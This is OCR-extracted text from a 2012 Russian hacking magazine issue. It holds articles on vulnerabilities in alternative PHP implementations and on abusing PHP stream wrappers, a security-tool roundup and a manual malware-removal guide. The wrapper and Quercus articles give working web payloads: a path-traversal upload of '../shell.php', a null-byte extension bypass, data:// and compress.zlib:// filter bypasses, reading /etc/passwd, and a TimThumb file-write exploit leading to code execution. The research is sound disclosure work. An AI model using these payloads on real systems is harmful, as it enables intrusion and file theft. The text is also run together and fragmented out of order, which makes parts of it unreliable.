Сравнение происходит с некоторыми особенностями,они сведены в таблицу на официальном сайте PHP (bit.ly/LQsvHh).Несоблюдение данных особенностей может привести к непредсказуемойработе приложения. Расхождения с оригинальным PHPнашлись достаточно быстро. В сценариях, приведенных в листинге,осуществляется сравнение пустого массива с переменнымиразличного типа.Гибкое сравнение переменных различного типа// script 1// script 2Различаются сценарии порядком следования сравниваемыхпеременных, но, по сути, они идентичны. Соответственно, результатысравнения также должны совпадать. Но, как видно из табл.3, в Quercus результат сравнения зависит от порядка следованиясравниваемых переменных, что является нетипичным поведениемдля PHP. Кроме этого, результат сравнения пустого массива array()Таким образом, используя для выполнения shell-команд конструкции.NET, можно обходить заданное ограничение безопасности.Пример обхода приведен в листинге.Выполнение shell-команд через конструкции .NET


Не все PHP одинаково полезнытате можно загружать файлы в произвольный каталог — примерзапроса приведен в листинге.Пример HTTP-запроса, загружающего файл в родительскийкаталогPOST http://127.0.0.1:8080/test/file.php HTTP/1.1…Content-Type: multipart/form-data;boundary=---------------------------101412320927450Content-Length: 228-----------------------------101412320927450Content-Disposition: form-data; name="test";filename="../shell.php"Content-Type: application/octet-stream-----------------------------101412320927450--Описание уязвимости приведено в advisory: bit.ly/MFeJYu. Исправлениеуязвимости ожидается в новых версиях.Null-byte в имени загружаемого файлаPath Traversal не единственная проблема при загрузке файловв Quercus. Еще одна не менее опасная проблема — возможностьпередачи в имени файла null-byte, что позволяет отбросить принудительнодобавляемый к имени загружаемого файла постфикс(например, расширение jpg), а также обходить ряд проверокбезопасности. Пример проверки, которую можно обойти, приведенв следующем листинге.Пример проверки расширения файлаScript #1(resin 3.1.12)Script #1(resin 4.0.26)Script #2True False False TrueFalse True True True1 False True True0 True True True-1 False True True"1" False False True"0" False False True"-1" False False TrueNull True True Truearray() True True True"php" False False True"" False False TrueТаблица 3. Зависимость результата сравнения от порядка следованиясравниваемых переменныхВ приведенном сценарии осуществляется проверка расширенияфайла: оно должно быть одним из допустимых (jpg, png илиgif), и если это не так, то файл загружен не будет. Сама по себепроверка более чем адекватная, но при возможности использованияnull-byte в имени файла обойти такую проверку труда несоставит — достаточно передать в имени файла null-byte, а затем.jpg. Таким образом проверка будет пройдена, а в момент копированияфайла строка .jpg будет отброшена. Исправление уязвимостиожидается в новых версиях.ПОДВОДИМ ИТОГИВсе рассмотренные реализации PHP имеют значительное преимуществов производительности (прирост до пяти раз, что оченьнедурно), но при этом почти у всех есть проблемы безопасности:• уязвимое окружение;• проблемы с обработкой параметров (глобализация и типизация);• различные нарушения логики;• Path Traversal в различных проявлениях и другие.Из-за указанных уязвимостей даже безопасное вебприложениестановится уязвимым при использовании стороннихреализаций PHP. Яркий пример — реализация Quercus, котораяоказалась самой уязвимой из рассмотренных. Хотя есть и исключение:HipHop в чем-то даже безопаснее оригинального PHP. zPOSITIVE HACK DAYS 2012Данная статья основана на выступленииСергея Щербеля на международномфоруме по практической безопасностиPositive Hack Days 2012. Напомню,PHDays — это международный форум,посвященный вопросам практическойинформационной безопасности. Своимпоявлением PHDays поставил точкув разговорах хакерской тусовки,посвященных идеям на тему «Как былобы круто иметь свой DEF CON или BlackHat в России». Мы получили оба в однойбутылке :). PHDays — это место, гдефутболки встречаются с пиджаками,а парни с Античата обсуждают результатывзлома интернет-банка с топ-менеджеромиз финансовых структур. Презентация,по мотивам который подготовлен этотматериал, доступна по адресу slidesha.re/Nl2VLF. Получить информацию о самоммероприятии, а также посмотреть списокдоступных материалов ты можешьна официальном сайте этой уникальнойхакерской конференции (www.phdays.ru).WWWОписаниеэтих и другихуязвимостей тыможешь найти навеб-сайте компанииPositive Technologiesв разделе advisory:bit.ly/MFeJYu.ХАКЕР 08 /163/ 2012 063


ВЗЛОМАлексей Москвин, Positive Technologies (amoskvin@ptsecurity.ru)ЧАСТЬ 1 (2)ЯдовитаяОБЕРТКАКАК ВРАППЕРЫ PHP МОГУТБЫТЬ ИСПОЛЬЗОВАНЫДЛЯ АТАКИ НА ВЕБ-ПРИЛОЖЕНИЯГибкость языка программированиядобавляет удобстваразработчикам, но и открываетновые векторы для атаки.Разработчики РНР частоиспользуют так называемыеwrapper’ы и даже не подозревают,что это может привестик обходу встроенных в приложениефильтров безопасностии, к примеру, позволить выполнитьна сервере произвольныйкод. О врапперах, их особенностяхи угрозах, с ними связанных,и пойдет сегодня речь.Данная статья основанана выступленииАлексея Москвинана международномфоруме по практическойбезопасностиPositive Hack Days2012WRAPPER'ЫВ PHP есть такое понятие, как потоки (Streams), которые появилисьв интерпретаторе начиная с версии 4.3.0. Это абстрактныйслой для работы с файлами, сетью, сжатыми данными и другимиресурсами, использующими единый набор функций. В простейшемопределении, поток — это ресурс, имеющий «потокообразное» поведение.То есть ресурс, из которого можно читать, в который можнописать и внутри которого можно перемещаться. Для примерарассмотрим функцию fopen. Согласно официальной документации,она имеет следующий синтаксис:resource fopen ( string $filename , string $mode[, bool $use_include_path = false [, resource $context ]] )где в качестве $filename может быть использован путь до локальногофайла. Хорошо известно, что получить содержимое локальныхфайлов можно так:$handle = fopen($file, "rb");while (!feof($handle)){$contents .= fread($handle, 8192);}print $contents;INTROУязвимости, связанные с реализованным в PHP механизмомврапперов, обсуждаются достаточно давно. Ссылки на них присутствуютв OWASP TOP 10 и WASC TCv2. Однако ряд особенностейреализации кодирования данных приводит к тому, что даже приложения,разработанные с учетом требований безопасности, могутсодержать уязвимости (включая критические). В этой статье мысначала кратко рассмотрим, что представляют собой PHP wrappersи как они могут быть полезны программистам. Затем разберем ихособенности, которые позволяют обходить встроенные в приложениефильтры безопасности и реализовывать атаки, связанныес несанкционированным доступом к файловой системе и выполнениемпроизвольного кода.Но помимо тривиального пути к файлу могут быть использованытак называемые врапперы (wrapper). Лучший способ пояснить,что это такое, — привести несколько примеров. Итак, с использованиемврапперов через все ту же функцию fopen становитсявозможным:• скачивать файлы с FTP:ftp://user:password@10.0.0.1/pub/file.txt;• обращаться, если доступ к ним ограничен, к server-status/serverinfoпо IP: http://127.0.0.1/server-status;• обращаться к файловым дескрипторам, открытым на чтение(PHP >= 5.3.6): php://fd/XXX;• и даже выполнить команды OS (если установлено расширениеexpect): expect://ls.064ХАКЕР 08 /163/ 2012


Ядовитая оберткаВрапперы (они же обработчики протокола или обертки)указывают функциям, каким образом обрабатывать данные из потока.Поэтому функции, поддерживающие врапперы, могут бытьиспользованы для получения данных из различных источников.Врапперы позволяют гибко и удобно обрабатывать данные, поступающиев программу через какой-либо поток, а также модифицироватьих при необходимости.В рассмотренном примере врапперы использовались в режимеread. Если же происходит запись данных, то и в этом случаеврапперы также могут расширить возможности многих функций.Например, функция copy() поддерживает врапперы в обоих своихаргументах, и если во втором аргументе используется оберткаphp://output, то копируемый файл отправляется в выходной буфер.Таким образом, функция copy() позволяет не только копироватьфайлы, но и читать их.copy('/etc/passwd' , 'php://output');Аналогичным образом можно использовать функцию file_put_contents и любую другую функцию, поддерживающую врапперв режиме write:file_put_contents('php://output',file_get_contents('/etc/hosts'));В версии PHP 5.3.6 появился враппер php://fd, который предоставляетпрямой доступ к файловым дескрипторам. Если PHPустановлен как модуль Apache’а, враппер php://fd дает возможностьзаписывать произвольные данные в access_log/error_log (обычноправа на этих файлах 644, и напрямую в них может писать толькоroot).Надо сказать, что в PHP довольно много встроенных врапперов,но при этом можно создавать и регистрировать собственные обертки,используя функцию stream_wrapper_register. Более подробнуюинформацию ты сможешь найти на официальном сайте PHP (bit.ly/PbdGFT). Полный список доступных врапперов можно посмотретьв секции phpinfo — Registered PHP Streams.Некоторые врапперы имеют недокументированные особенности,позволяющие более эффективно эксплуатировать уязвимости вебприложений.Именно эти особенности мы сегодня и рассмотрим.ЧТО ТАИТ В СЕБЕ ZIP?ZIP — популярный формат сжатия данных и архивации файлов.Поддержка этого формата реализована во всех современных операционныхсистемах, а библиотеки для работы с ним написаны длябольшинства языков программирования. В PHP для работы с этимформатом удобно использовать модуль zip.В Linux-системах модуль zip становится доступным, если PHPскомпилирован с опцией --enable-zip. Архивировать можно нетолько отдельные файлы, но и целые каталоги; чтобы сохраняласьструктура каталога, в именах файлов, добавляемых в архив, допустимоиспользовать слеш /. Еще одной важной особенностью модуляzip является возможность обрабатывать файлы с произвольнымименем: главное, чтобы содержимое файла было корректно сформированнымzip-архивом.Создание zip-архива$zip = new ZipArchive;if ($zip->open('/tmp/any_name_zip_arxiv',1)){$zip->addFromString( '/my/header.html','


ВЗЛОМfunction validate_url ($url) {$pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i";return preg_match ($pattern, $url);}Обойти эту проверку можно следующим образом:data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAoВ PHP существует такая функция, как stream_get_meta_data().Согласно официальной документации, она извлекает метаданные изпотоков и файловых указателей:array stream_get_meta_data ( resource $stream )При этом в возвращаемом массиве содержатся элементы с четкозаданными ключами, и задача добавления в этот массив новыхэлементов выглядит на первый взгляд весьма проблематичной. Нос помощью враппера data:// можно довольно просто манипулироватьэтим массивом! Как? Приведу пример:$password = 'secret';$file = $_POST['file'];$fp = fopen( $file, 'r');extract(stream_get_meta_data($fp));if ( $mediatype === 'text/plain') { ... }if ( $_COOKIE['admin'] === $password) { ... }Если в переменной $file вместо имени локального файла использоватьвраппер data,POST DATA: file=data://text/plain;password=mysecret;base64то можно легко переопределить параметр $password и, используякуки, пройти авторизацию.Cookie: admin=mysecretХОЛОДНЫЙ КОМПРЕСССогласно документации, обертка compress.zlib:// позволяет распаковыватьgz-архивы. Если с помощью этого враппера обрабатыватьданные, не являющиеся zlib-архивом, то данные возвращаются безизменений.Например, прочитать файл /etc/hosts можно таким образом:readfile('compress.zlib:///etc/hosts');«Очень полезно!» — подумаешь ты :). Сейчас будет круче. Еслиты хоть немного программировал на PHP для веба, то наверняказнаком с функцией prase_url(). Напомню, эта функция осуществляетпарсинг URL. И тут есть один интересный момент: на входфункции можно предоставить не только URL, но и строку довольнообщего типа:print_r(parse_url('anysheme://anysite.com/;http://w?v@l=!'));Учитывая эту особенность, можно обходить различные проверкии фильтры на основе функции parse_url, используя многофункциональныеврапперы. Для примера рассмотрим следующий скрипт,который, по задумке разработчиков, может загружать файлы толькос доверенного хоста img.youtube.com.$url_info = parse_url($_POST['src']);if ($url_info['host'] === 'img.youtube.com') {$name = str_replace('/', '',substr($url_info['path'], 4));copy( $src, './'.$name );}В штатном режиме превью с img.youtube.com загружаются следующимобразом:POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpgВ этом случае фильтр можно обойти и с помощью враппераcompress.zlib://.POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;Помимо этого, довольно просто обойти фильтр на имя хоста и загрузитьна сервер файл с произвольным именем и содержимым припомощи ранее рассмотренного нами враппера data://:POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAoВ этом случае локальные файлы будут копироваться в папкус превью: если эта папка доступна для прямого обращения из браузера,то появляется возможность просматривать системные файлы.Из этого примера видно, что использование врапперов data://и compress.zlib:// может быть полезным в скриптах, скачивающихфайлы с удаленных хостов. Одним из таких скриптов являетсяTimThumb.ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ В TIMTHUMB V1.XTimThumb — это популярный скрипт для работы с изображениями,который используется во многих темах и плагинах дляWordPress. В августе 2011 года в скрипте TimThumb v 1.32 быланайдена критическая уязвимость, позволяющая загружать наатакуемый сервер вместо изображений с доверенных хостовфайлы с PHP-кодом (bit.ly/n8YdTd). Почти в одночасье в публичномдоступе появилась адвизори, подробно рассказывающая обэксплуатации этой уязвимости (bit.ly/qRrUpF). Суть уязвимостизаключалась в том, что скрипт некорректно проводил проверкуURL по списку доверенных хостов, с которых возможно былозагрузить изображения. Для обхода фильтров, к примеру по доверенномухосту blogger.com, предлагалось зарегистрироватьдомен четвертого уровня, содержащего в себе URL доверенногохоста, например blogger.com.attacker.com, и загружать файлыс этого домена.http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.phpЭтим способом можно было проэксплуатировать уязвимость доверсии 1.32 (revision 142). Но более новые версии оказались такжеуязвимы. Рассмотрим, каким образом происходит загрузка изображенийв версии 1.34 (revision 145):Документация к врапперу data://function check_external ($src) {......................$filename = 'external_' . md5 ($src);066ХАКЕР 08 /163/ 2012


Ядовитая обертка2. После загрузки файла на сервер на основе getimagesize проверяется,является ли файл изображением. Если проверка непройдена, то файл удаляется. Но так как есть возможность влиятьна переменную $local_filepath, то к локальному файлу можно обращаться,используя врапперы php://filter, compress.zlib://. А в этомслучае функция unlink не сможет удалить файл.Немного покопавшись, я написал эксплойт для загрузки файлов.С произвольным именем и с произвольным содержимым, в произвольноеместо системы.src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info[host]=img.youtube.com&src=http://site.com/thumb.txtВетка 1.х заканчивается 149-й ревизией, в которой тоже естьуязвимости. В этой ревизии уже убрана функция parse_str и поэтомунет возможности произвести перезапись переменных. Но фильтры,проверяющие валидность URL, проверяют только вхождениесоответствующих подстрок в строке $src. При этом если функцияcurl_init недоступна на атакуемом сервере, то загрузка файлов осуществляетсяс помощью file_get_contents/file_put_contents. Важноотметить, что эти функции, в отличие от curl_init, поддерживаютвсе доступные в PHP врапперы.Уязвимость в плагине WordPress$local_filepath = DIRECTORY_CACHE . '/' . $filename;if (!file_exists ($local_filepath)) {if(strpos(strtolower($src),'http://')!==false||strpos(strtolower($src),'https://')!==false){if (!validate_url ($src))display_error ('invalid url');$url_info = parse_url ($src);......................if($url_info['host']=='www.youtube.com' ||$url_info['host'] == 'youtube.com') {parse_str ($url_info['query']);......................if (function_exists ('curl_init')) {......................$fh = fopen ($local_filepath, 'w');$ch = curl_init ($src);.....................................curl_setopt ($ch, CURLOPT_URL, $src);......................curl_setopt ($ch, CURLOPT_FILE, $fh);curl_setopt ($ch, CURLOPT_WRITEFUNCTION,'curl_write');.......................................$file_infos = getimagesize ($local_filepath);if (empty ($file_infos['mime']) ||!preg_match ("/jpg|jpeg|gif|png/i",$file_infos['mime'])) {unlink ($local_filepath);touch ($local_filepath);......................Несложно заметить, что при проектировании функции check_external было допущено несколько логических ошибок:1. После выполнения большинства проверок в функцию parse_strпопадают нефильтрованные пользовательские данные. Такимобразом, можно переопределить переменные, которые до этогопроверялись: $url_info['host'], $src, $local_filepath. Поэтому возможнозагружать файлы с любых серверов.if(!$img = file_get_contents($src)) {display_error ('remote file for ' .$src . 'can not be accessed.It is likely that the filepermissions are restricted');}if(file_put_contents($local_filepath,$img) == FALSE) {display_error ('error writingtemporary file');}Таким образом, с помощью враппера data:// можно обойти всефильтры и создать файл в директории кеша с произвольным содержимым:data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAoИли с помощью враппера compress.zlib:// скопировать в кешлокальный файл:compress.zlib://youtube.com/../http://?/../../path/to/local/fileПрофит в том, что к файлам из кеша можно обращаться напрямую,в результате чего добиться RCE через запись шелла с помощьювраппера data, а также получить содержимое локальных файлов,используя compress.zlib.ВМЕСТО ЗАКЛЮЧЕНИЯОчевидно, что встроенные в PHP врапперы дают большие возможностипри эксплуатации уязвимостей типа File Manipulation. Но приэтом стоит отметить, что даже самые простые проверки на основефункций file_exists, is_file, filesize не дадут воспользоваться врапперами.Также при установленном патче Suhosin по умолчаниюневозможно использовать врапперы в инклудах, даже если директиваallow_url_include имеет значение On. На этом я не закрываютему использования врапперов и в следующей статье расскажупро возможности враппера php://filter на примерах эксплуатацииуязвимостей в популярных веб-движках. Stay tuned! zХАКЕР 08 /163/ 2012 067


ВЗЛОМДмитрий «D1g1» Евдокимов, Digital Security (twitter.com/evdokimovds)X-ToolsСОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИАвтор:Chris Shields, MatthewToussainURL:kinozoa.comСистема:*nixАвтор:Georges Bossert,Frederic GuiheryURL:www.netzob.orgСистема:*nixАвтор:Matt GraeberURL:https://github.com/mattifestation/PowerSploitСистема:Windows1 2 3ФРЕЙМВОРК ДЛЯАВТОМАТИЗИРОВАННЫХ MITM-АТАКSubterfuge — это небольшой, но чрезвычайномощный инструмент для сбора аутентификационныхданных, написанный на Python.Он эксплуатирует уязвимости в протоколеопределения адреса, более известном какARP (Address Resolution Protocol) протокол.Особенности:• просмотр сети;• отказ в обслуживании;• сбор аутентификационных данных;• инъекция кода в HTTP;• кража сессии;• эксплуатация Race Condition;• DNS-спуфинг;• эксплуатация обновлений через Evilgrade;• атаки на беспроводные сети.Благодаря этим модулям можно легко даунгрейдитьHTTPS-сессии и красть аутентификационныеданные пользователей, блокироватьлюбые попытки работы пользователя черезшифрованные протоколы, такие как PPTP,Cisco IPSec, L2TP, OpenVPN, SSH, или вообщеуничтожать весь трафик от определенногоклиента, не давая тем самым ему работать.Также возможно вставлять свою нагрузкув целевую сессию браузера.МОДЕЛИРОВАНИЕ СЕТЕВОГОПРОТОКОЛА ДЛЯ RENetzob — это инструмент с открытым исходнымкодом, призванный помочь специалистамв области реверс-инжиниринга, оценки и моделированиякоммуникационных протоколов.Его основные задачи — помочь аналитикам побезопасности:• оценить надежность собственных/неизвестныхреализаций протоколов;• моделировать реальное взаимодействиес продуктами сторонних производителей(IDS, IPS, межсетевые экраны и так далее);• создавать открытые реализации собственныхили закрытых протоколов.Программа отлично подходит для реверсингасетевых протоколов, создания собственныхпротоколов и тестирования их в реальнойсреде, позволяет моделировать поведениередких сетевых протоколов или протоколов,используемых вредоносным ПО или ботнетом,в исследовательских целях. Также она оченьполезна при фазинге сетевых приложений.При своей работе программа используетнесколько алгоритмов: алгоритм Needleman-Wunsch для выполнения выравнивания двухпоследовательностей; метод невзвешенногопопарного арифметического среднего(UPGMA); L*m распределенный алгоритм DanaAngluin.POWERSHELL POST-EXPLOITATIONФРЕЙМВОРКPowerSploit — это набор MicrosoftPowerShell скриптов, которые могут бытьиспользованы на этапе постэксплуатацииво время проведения теста на проникновение.PowerSploit состоит из следующегонабора скриптов:• Inject-Dll;• Inject-Shellcode;• Encrypt-Script;• Get-GPPPassword;• Invoke-ReverseDnsLookup.Таким образом, можно инжектить своюDLL или шелл-код в любой процесс в системена свой выбор, получать пароли в открытомвиде от учетных записей из Group Policyили сканировать диапазон IP-адресов дляPTR-записей DNS, что очень полезно прирекогносцировке на местности.Помимо этих постэксплуатационныхскриптов, также есть набор скриптов наPowerShell для анализа PE-файлов и решениязадач, связанных с reverse engineeringпрограмм, написанных на C#.Подробнее об инструменте и возможностяхего расширения можно почитатьна сайте автора: www.exploit-monday.com.068ХАКЕР 08 /163/ 2012


7 утилит для исследователей безопасностиАвтор:SkyLinedURL:code.google.com/p/alpha3Система:WindowsКОДЕР ДЛЯ АLPHANUMERIC ШЕЛЛ-КОДОВALPHA3 — это инструмент на Pythonот легендарного SkyLined, позволяющийтрансформировать любойx86 или x64 машинный код в цифробуквенныйкод с аналогичной функциональнотью.Зачем это надо? Поройпри написании эксплойтов боевуюнагрузку можно передать тольков виде печатных символов: цифр,букв, знаков. Как раз при решениитакой задачи ALPHA3 и необходим.Принцип работы инструмента следующий:на вход получается машинныйкод, который преобразуется с помощьюспециального кодера в цифробуквенноепредставление, к началуполученного кода добавляетсясоответствующий декодер, имеющийтакже цифро-буквенное представление.Этот декодер конвертирует нашепредставление в исходное и передаетна него управление. Единственнымограничением к исходному шелл-кодуявляется отсутствие в нем нулевыхбайтов. Пример запуска программы:ALPHA3.py ascii EDI --input="file"> shellcode.txtВ строке запуска можно заметитьналичие параметра, указывающего набазовый адрес, который указывает натекущее местоположение шелл-кодав памяти и относительно которогобудет происходить его раскрутка(в данном случае это регистр EDI).Помимо того что поддерживает двеархитектуры, скрипт может выдаватьшелл-код в нескольких кодировках:ascii, cp437, latin-1, utf-16.Автор:Joxean KoretURL:zerowine.sourceforge.netСистема:WindowsАвтор:ohdaeURL:ohdae.github.com/Intersect-2.5Система:*nixАвтор:rohitab.comURL:www.rohitab.com/apimonitorСистема:Windows4 5 6ПОВЕДЕНЧЕСКИЙ АНАЛИЗВРЕДОНОСНОГО ПОZero Wine — проект по безопасности, предназначенныйдля проведения динамическогоанализа вредоносных файлов в OC Windows.Для этого Zero Wine запускает исследуемыйфайл в изолированной среде (в качествепесочницы используется WINE) и собираетинформацию о поведении программы, а затемуже выводит ее в удобочитаемом виде. Собираемаяинформация:• полный raw trace файл, генерируемыйWINE;• строки;• заголовок исполняемого файла;• наиболее интересные API-вызовы и их параметры.Сам Zero Wine представляет собой образОС Debian для виртуальной машины QEMU,взаимодействовать с которой можно черезвеб-интерфейс. При определенных параметрахзапуска также возможно поставить анализ файловна поток: загрузка вредоносного ПО, анализи сохранение отчета. Из проблем продукта можновыделить не особо хорошую работу в случае,если зловред запакован некоторыми пакерами(например, Armadillo), и легкое детектированиеокружения WINE со стороны зловредов.POST-EXPLOITATION ФРЕЙМВОРКДЛЯ LINUXIntersect — это постэксплуатационныйфреймворк для Linux, написанный наPython. Основная цель данного проекта —помочь автоматизировать ряд рутинных,типовых задач, выполняемых при проведениитестов на проникновение, связанныхс постэксплуатацией и извлечением данныхиз системы.Благодаря данному фреймворку можносоздавать собственные скрипты из предустановленныхшаблонов и модулей, которыетакже могут быть написаны для необходимойавтоматизации действий.При этом программа имеет простойcommand-line с пунктами выбора и позволяетсоздавать собственные сборки Intersect,включающие только необходимые модулии скрипты.На данный момент фреймворк включаетв себя 30 стандартных и пользовательскихмодулей и 4 встроенных скрипта, состоящихиз существующих модулей и разбитых поклассу задач:• сбор локальной информации;• сбор сетевой информации;• закрепление в системе;• набор шеллов.МОНИТОРИМ ВСЕ API-ВЫЗОВЫAPI Monitor контролирует и отображаетAPI-вызовы, выполненные приложениямии службами в системе. Это мощныйинструмент для просмотра того, какта или иная программа работает изнутри.Особенности:• поддержка 64-битной Windows;• предварительный обзор с подсветкойсинтаксиса;• более 10 000 определений API-функциии более 600 COM-интерфейсов;• мониторинг COM;• просмотр буфера;• отрисовка дерева вызовов;• декодирование параметрови возвращаемых значений;• декодирование кодов ошибок;• работа со стеком;• просмотр процессов;• мониторинг служб;• настраиваемый мониторинг DLL;• работа с потоками.Программа умеет как открывать процессы,так и аттачиться к уже существующимпроцессам в системе для анализа ихработы. На каждом уровне представлениясуществует очень гибкая система фильтрации.ХАКЕР 08 /163/ 2012 069


MALWAREЕвгений Дроботун (drobotun@xakep.ru)НА МАЛВАРЬБЕЗ АНТИВИРУСАЧТО ДЕЛАТЬ, ЕСЛИ ЕГОБАЗЫ ЕЩЕ НЕ УСПЕЛИОБНОВИТЬСЯ?Наверняка к твоему дому уже давно протопталиширокую тропу потерпевшие от разногорода компьютерной нечисти, наслышанныео твоей неимоверной крутости и беспощадностив борьбе с заразой. Поначалу такая популярностьтебя смущала и одновременно радовала,чуть позже стала напрягать, ведь у тебяи своих дел полно. Мы решили прийти к тебена помощь и нарисовали небольшую картупоиска малвари с некоторыми пояснениями.Теперь вместо того, чтобы небрежно отмахиватьсяот очередной жертвы компьютерногокриминала, ты можешь прикрыться своимлюбимым журналом и сказать: «Сделай сам,тут все написано и нарисовано…»общем случае тактика проведения боевой операциипо освобождению компьютера от зловредов заключаетсяв следующем порядке действий:находим процесс, принадлежащий вредоносному коду, и останавливаемего;находим место, где лежит вредоносный файл, и удаляем его;ликвидируем последствия.ВОсновная проблема, как правило, состоит в преодолении первогоэтапа, ведь подавляющее большинство вредоносных программтщательно маскируют свое присутствие в системе, да и вредоносныйпроцесс остановить голыми руками получается далеко невсегда.Удалить файл тоже удается далеко не всегда — малварь крепкоцепляется за жизнь и нередко достаточно глубоко вгрызаетсяв жесткий диск.Тем не менее приступим…ДИСПЕТЧЕР ЗАДАЧПервое место, куда стоит заглянуть в поисках следов вредоносов,— это диспетчер процессов. Само собой, способов скрытьсяот его взора у современной малвари достаточно много, но в жизнивсякое бывает.Итак, вариантов в этом случае у нас будет три:в диспетчере задач явно виден какой-то лишний процессс весьма подозрительным названием, и этот процесс запростоможно завершить;также наблюдаем подозрительный процесс, но завершить егообычным способом не получается;диспетчер процессов кристально чист, и ничего подозрительногов нем не наблюдается.Да Нет ДальшеВход на ветку Очередной шаг Выход с ветки070ХАКЕР 08 /163/ 2012


На малварь без антивирусаАнтивирус молчит, но, как говорится,осадок-то остается, и подозренияо том, что что-то все-такине так, тебя не покидаютТвои подозренияподкреплены требованияминекоторой суммы денеги фразами о том, чтокомпьютер заблокирован?Ищем подозрительныепроцессы в диспетчерепроцессов. Как отличитьподозрительный процесс отнеподозрительного — читайстатью. Подозрительныепроцессы в наличии?Следуемна СТР. 72Следуемна СТР. 74Следуемна СТР. 73Пытаемся завершитьподозрительный процессс помощью диспетчерапроцессов. Удачно?Мы бы с удовольствием разделилитвою уверенность по поводу чистотытвоего компьютера, но, какистинные параноики информационнойбезопасности, не спешимэтого делать. Еще раз хорошоподумай, прежде чем листатьжурнал дальшеЛиквидируем последствия работымалвари. Удаляем файл, чистимветки автозагрузки реестра,восстанавливаем файл hosts,восстанавливаем работу диспетчеразадач, редактора реестра и т. д.Пытаемся завершить подозрительныйпроцесс другими способами.Удачно? (про другие способы читайв статье)В первом случае все просто. Завершаем процесс, ищем файл,смотрим автозагрузку, смотрим внутрь файла, заливаем файл навирустотал, выносим вердикт и в конце концов смело его удаляем.Надеюсь, что «свои» процессы ты хотя бы частично узнаешь в лицои трогать системные процессы типа lsas, services, system, winlogon,svchost, csrss в здравом уме не будешь.При этом следует помнить, что все системные процессы «живут»в папке %windir%\system32\ (исключение — explorer.exe, он,как правило, прописан просто в %windir%\). Если путь к исполняемомуфайлу процесса ведет в другое место, особенно в какиенибудьвременные папки или на флешку, то это следует расцениватьисключительно как вредоносное вмешательство. Также стоитобратить внимание на то, от чьего имени работает процесс. Еслисистемный процесс работает от имени пользователя, то это поводнасторожиться. Про то, что вредоносные процессы могут выдаватьсебя за системные, я думаю, ты знаешь, и процесс с именем вроде"svshost" без своего внимания не оставишь.Если мы имеем дело со вторым случаем, то это — серьезныйповод задуматься. Обычно нормальные и законопослушные программыбез проблем дают себя удалить из списка процессов.В такой ситуации можно попробовать воспользоваться какимнибудьальтернативным менеджером процессов, например ProcessExplorer от SysInternals или ProcessHacker, или заюзать утилитуKernel Detective — последним двум по силам даже справитьсяс процессами многих антивирусов. Также можно попытаться приаттачитьсяк этому процессу отладчиком, а потом завершить всеэто вместе с отладчиком (способ довольно действенный, особенноесли использовать для этого WinDbg).Если случай настолько тяжелый, что все перечисленное не помогает,то, скорее всего, дело не обошлось без перехвата функцийв ядре, но об этом несколько позже.Если в диспетчере задач мы ничего подозрительного не увидели,то либо все чисто (этот вариант мы, как истинные параноикикомпьютерной безопасности, отметаем), либо вредоносный процессумело маскирует свое присутствие, либо малварь внедриласвой код в какой-то легальный процесс и под его прикрытиемтворит свои нехорошие дела.Скрытые процессы также можно попытаться выявить какимнибудьальтернативным диспетчером процессов или опять жепопробовать использовать Kernel Detective, который умеет выявлятьмаскировку процесса, реализованную с помощью перехвата APIфункцииNtQuerySystemInformation.Вообще бесследно скрыть процесс в системе практически невозможно,какие-нибудь следы присутствия все равно остаются, ведькаждый процесс имеет целую кучу косвенных признаков, по которымПодозрительный процесс в штатном диспетчере процессовХАКЕР 08 /163/ 2012 071


MALWAREТы уже догадался, чтостал обладателем одногоиз представителейбольшого семейства подназванием винлокерНе забудь поделиться найденной заразой с антивирусными компаниями.Вдруг они еще не встречали такого и ты будешь первым, кто поможетвирусным аналитикам пополнить антивирусные базыПервым делом впередна сервисы разблокировки.Практически все крупныеантивирусные компаниисодержат такие на своихсайтах. Помогло?Меняем в биосе датуна пару лет вперед илина пару лет назад (какэто ни странно, способдовольно-таки действенный).Требованияденег исчезли?Пытаемся вызватьдиспетчер процессови завершитьблокирующийсистему процесс.Удачно?Ликвидируем последствия работы малвари. Удаляем файл, чистим веткиавтозагрузки реестра, восстанавливаем файл hosts, восстанавливаемработу диспетчера задач, редактора реестра и т. д.Загружаемся с загрузочногодиска илифлешки со свежимантивирусником и убиваемвсю малварь,которую сможем найтина компе (кстати,образы таких загрузочныхдисков илифлешек можно тоженайти на сайтах антивирусныхкомпаний).Получилось?Ищем малварьвручную. Обычноона садится в папкукакого-либо пользователя,и не забудь,что файл можетбыть скрытымили системнымКомпьютер полностьюзаблокирован?Ставим жесткий дискна другой комп с самымиактуальнымибазами антивирусникаи проверяем его на наличиезаразы. Удачно?можно его обнаружить. Это созданные им хендлы, окна, некоторыедругие системные объекты (например, многие трояны создают призаражении системы мьютекс, для того чтобы избежать повторногозаражения). Все это можно попытаться просмотреть и проанализировать.К примеру, с помощью консольной утилиты Handle от МаркаРуссиновича из небезызвестной SysInternals можно увидеть открытыехендлы для всех процессов, в том числе и для скрытых.Для исследования объектов, созданных в системе, пригодитсятулза под названием WinObj из того же самого набора SysInternalsSuit. С ее помощью можно посмотреть все созданные системныеобъекты и определить, каким процессом он создан.Если мы столкнулись с внедрением вредоносного кода в процесс,нужно учесть, что, как правило, это делается либо для беспрепятственногодоступа в сеть из-под доверенного процесса (дляэтого неплохо подходят процессы svchost.exe или explorer.exe),либо для организации перехвата некоторых системных функцийи внедрения этих перехватов во все запущенные и запускаемыепроцессы (излюбленным местом для внедрения в этом случаестановится процесс explorer.exe, а иногда winlogon.exe).Обнаружить взаимодействие внедренного кода с сетью можно,используя какие-либо утилиты мониторинга сетевых соединений.К примеру, в «полном собрании сочинений» от SysInternals дляэтого имеется тулза TcpView, которая производит мониторинг всехподключений и выводит список процессов, использующих TCPиUDP-соединения. При этом отображаются основные параметрыкаждого соединения — имя процесса, протокол, идентификаторсостояния подключения, локальный и удаленный адреса.ПЕРЕХВАТЫВАЕМАЯ 